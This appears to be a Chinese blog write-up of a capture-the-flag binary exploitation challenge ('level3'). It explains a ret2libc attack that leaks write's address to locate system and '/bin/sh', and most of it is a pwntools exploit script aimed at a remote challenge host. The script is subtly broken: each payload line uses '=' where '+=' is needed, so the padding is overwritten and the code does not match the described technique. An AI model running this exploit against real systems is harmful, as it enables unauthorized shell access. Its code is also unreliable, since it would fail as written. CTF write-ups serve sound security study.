level3

check一下,发现开了NX
image.png

拖进ida,发现栈溢出,没有system,没有binsh,所以我们需要自己泄露
image.png

思路:
第一次溢出返回到write函数执行write(1,write_got,4)得到write的真实地址(即先需要p.recv() #这里一定要先接收一次,这样到下面接收write_addr的时候才不会出错),计算得到system跟"/bin/sh"的真实地址,然后再返回到vulnerable_function函数,第二次回到溢出点,覆盖返回地址到system执行system("/bin/sh")
image.png

脚本

#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
p = remote('111.198.29.45',39255)
elf = ELF('./level3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
function = 0x0804844B
write_plt = elf.plt['write']
write_got = elf.got['write']
write_libc = libc.symbols['write']
system_libc = libc.symbols['system']
binsh = libc.search("/bin/sh").next()
p.recv()
payload = 'a'*(0x88+0x04)
payload = p32(write_plt) + p32(function)
payload = p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
offset = write_addr - write_libc
system_addr = offset + system_libc
binsh_addr = offset +binsh
payload = 'a'*(0x88+0x04)
payload = p32(system_addr) + p32(function) + p32(binsh_addr)
p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容